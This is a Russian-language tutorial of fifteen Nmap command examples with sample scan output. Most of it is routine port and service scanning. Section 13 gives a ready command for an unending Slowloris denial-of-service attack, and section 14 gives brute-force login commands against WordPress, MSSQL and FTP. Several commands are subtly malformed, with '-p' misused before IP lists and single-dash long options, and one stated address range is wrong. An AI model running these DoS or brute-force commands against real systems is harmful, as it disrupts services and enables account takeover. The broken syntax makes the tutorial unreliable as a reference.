Главными преимуществами этого мощного инструмента является то, что он бесплатный, мультиплатформенный, его исходный код открыт, а сам он получает постоянные обновления каждый год.
15 лучших примеров использования Nmap в режиме командной строки
1. Базовое сканирование с использование IP-адреса или имени хоста
nmap 1.1.1.1
nmap cloudflare.com
Данный вид сканирования даст общее представление о работе сканера и его возможностях.
2. Сканирование определенных портов или диапазонов портов на локальном или удаленном сервере
nmap -p 1-65535 localhost
В данном примере будет выполнено сканирование всех 65535 портов нашей локальной машины
nmap -p 80,443 8.8.8.8
Данная команда запустит сканирование портов 80 и 443 на удаленном сервере с IP-адресом 8.8.8.8
3. Сканирование нескольких IP-адресов
Попробуем отсканировать несколько IP-адресов. Для этого используем команду
nmap 1.1.1.1 8.8.8.8
Так же можно сканировать последовательность идущих друг за другом адресов
nmap -p 1.1.1.1,2,3,4
Эта команда запустит сканирование адресов 1.1.1.1, 1.1.1.2, 1.1.1.3 и 1.1.1.4
4. Сканирование диапазонов IP-адресов
Так же можно использовать Nmap для сканирования диапазонов IP-Адресов в формате CIDR, например
nmap -p 8.8.8.0/28
Эта команда выполнит сканирование диапазона адресов начиная с 8.8.8.1 до 8.8.8.14 .
Такого же результата можно добиться, используя команду
nmap 8.8.8.1-14
Если необходимо исключить некоторые IP-адреса из диапазона сканирования, можно использовать опцию -exclude
nmap -p 8.8.8.* --exclude 8.8.8.1
5. Сканирование наиболее популярных портов
Используя опцию -top-ports совместно с числовых значением позволит выполнить сканирование самых используемых портов
nmap --top-ports 20 192.168.1.106
Данная команда выполнит сканирование 20 наиболее популярных портов на удаленном IP-адресе 192.168.1.106. Результат будет выглядеть примерно так:
[root@sec:~]nmap --top-ports 20 localhost Starting Nmap 6.40 ( http://nmap.org ) at 2018-10-01 10:02 EDT Nmap scan report for localhost (127.0.0.1) Host is up (0.000016s latency). Other addresses for localhost (not scanned): 127.0.0.1 PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 23/tcp closed telnet 25/tcp closed smtp 53/tcp closed domain 80/tcp filtered http 110/tcp closed pop3 111/tcp closed rpcbind 135/tcp closed msrpc 139/tcp closed netbios-ssn 143/tcp closed imap 443/tcp filtered https 445/tcp closed microsoft-ds 993/tcp closed imaps 995/tcp closed pop3s 1723/tcp closed pptp 3306/tcp closed mysql 3389/tcp closed ms-wbt-server 5900/tcp closed vnc 8080/tcp closed http-proxy
6. Сканирование хостов и IP-адресов из списка в текстовом файле
Создадим текстовый файл list.txt и добавим в него список IP-адресов и доменных имен хостов, которые необходимо отсканировать
192.168.1.106
cloudflare.com
microsoft.com
securitytrails.com
Опция -iL позволит прочитать данный список хостов и использовать его для сканирования:
nmap -iL list.txt
7. Сохранение результатов сканирования Nmap в файл
Для сохранения в текстовый файл используй
nmap -oN output.txt yandex.ru
Для сохранения в формате XML похожая команда
nmap -oX output.xml yandex.ru
8. Отключение разрешения доменных имен
Сканирование можно ускорить, отключив реверсивное разрешение имен. Для этого просто добавь опцию -n
[root@sec:~]nmap -p 80 -n 8.8.8.8 Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:15 -03 Nmap scan report for 8.8.8.8 Host is up (0.014s latency). PORT STATE SERVICE 80/tcp filtered http
9. Сканирование с определением операционной системы и сервисов
Опция -A позволит определить операционную систему и приложения, выполняемые на удаленном сервере
nmap -A 10.10.10.1
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 65:1a:43:f5:3d:5f:17:1e:26:0a:6b:7e:3a:db:02:50 (RSA) | 256 61:2f:d9:0e:3d:a1:44:fb:1b:6b:cf:3c:60:07:b0:22 (ECDSA) |_ 256 80:77:ca:10:fa:62:80:49:a7:76:b0:b4:85:4d:44:5d (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) Service Info: Host: ZABBIX; OS: Linux; CPE: cpe:/o:linux:linux_kernel
10. Определение версий сервисов
В этом поможет опция -sV
nmap -sV localhost
Результат будет примерно такой
[root@securitytrails:~]nmap -sV localhost Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:28 -03 Nmap scan report for localhost (127.0.0.1) Host is up (0.000020s latency). Other addresses for localhost (not scanned): ::1 Not shown: 997 closed ports PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC #100000) 631/tcp open ipp CUPS 2.2 902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
11. Сканирование с использованием протоколов TCP и UDP
Nmap умеет работать с обоими протоколами транспортного уровня. Для использования сканирования по протоколу TCP используется опция -sT
[root@securitytrails:~]nmap -sT 192.168.1.1 Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:33 -03 Nmap scan report for 192.168.1.1 Host is up (0.58s latency). Not shown: 995 closed ports PORT STATE SERVICE 80/tcp open http 1900/tcp open upnp 20005/tcp open btx 49152/tcp open unknown 49153/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
Для UDP сканирования -sU
[root@sec:~]nmap -sU localhost Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:37 -03 Nmap scan report for localhost (127.0.0.1) Host is up (0.000021s latency). Other addresses for localhost (not scanned): ::1 Not shown: 997 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 111/udp open rpcbind 5353/udp open|filtered zeroconf
12. Поиск и обнаружение уязвимостей с помощью Nmap
Одной из главных функций Nmap, о которой знают не все сетевые и системные администраторы, является так называемый Nmap Scripting Engine (известный как NSE). Этот механизм сценариев позволяет пользователям использовать предопределенный набор сценариев или писать свои собственные, используя язык программирования Lua. Использование NSE крайне важно для автоматизации сканирования системы и поиска уязвимостей. Например, если вы хотите выполнить поиск уязвимостей на удаленном хосте, вы можете использовать эти параметры:
nmap -Pn --script vuln 192.168.1.105
Результат будет примерно таким:
[root@sec:~]nmap -Pn --script vuln 192.168.1.105 Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:46 -03 Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for 192.168.1.105 Host is up (0.00032s latency). Not shown: 995 closed ports PORT STATE SERVICE 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug) 1900/tcp open upnp 20005/tcp open btx 49152/tcp open unknown 49153/tcp open unknown
Как вы можете видеть, в этом тесте на уязвимость мы смогли обнаружить один CVE (атака Slowloris DOS).
13. Запуск DoS-атаки с помощью Nmap
Благодаря NSE ( Nmap Scripting Engine ) возможности Nmap практически неограничены, и еще одной из них является запуск атаки типа «отказ в обслуживании». В предыдущем примере ( 12 ) с помощью Nmap мы просканировали хост и обнаружили уязвимость, позволяющую выполнить так называемую атаку меленными сессиями ( SlowLoris Session Attack ). Эксплуатировать данную уязвимость можно командой
nmap 192.168.1.105 -max-parallelism 800 -Pn --script http-slowloris --script-args http-slowloris.runforever=true
14. Брутфорс атака
Следующие три примера позволяют выполнять атаку типа BFA на такие сервисы как WordPress, MSSQL и FTP:
nmap -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.1.105
nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 192.168.1.105
nmap --script ftp-brute -p 21 192.168.1.105
15. Обнаружение вредоносных программ на удаленных узлах
С помощью Nmap можно обнаруживать вредоносные программы и бэкдоры в таких популярных сервисах как Identd, Proftpd, Vsftpd, IRC, SMB, и SMTP.
nmap -sV --script=http-malware-host 192.168.1.105
Для обнаружения признаков вредоносных программ можно также использовать антивирусные базы сервисов Google’s Safe Browsing и VirusTotal.
nmap -p80 --script http-google-malware infectedsite.com
Заключение
На сегодняшний день Nmap является одним из наиболее функциональных и эффективных сканеров портов, используемых профессионалами в информационной безопасности по всему миру. С его помощью можно выполнять простые задачи сканирования портов или использовать его мощный скриптовый движок для запуска DOS-атак, обнаружения вредоносных программ или тестирования методом «грубой силы» на удаленных и локальных серверах.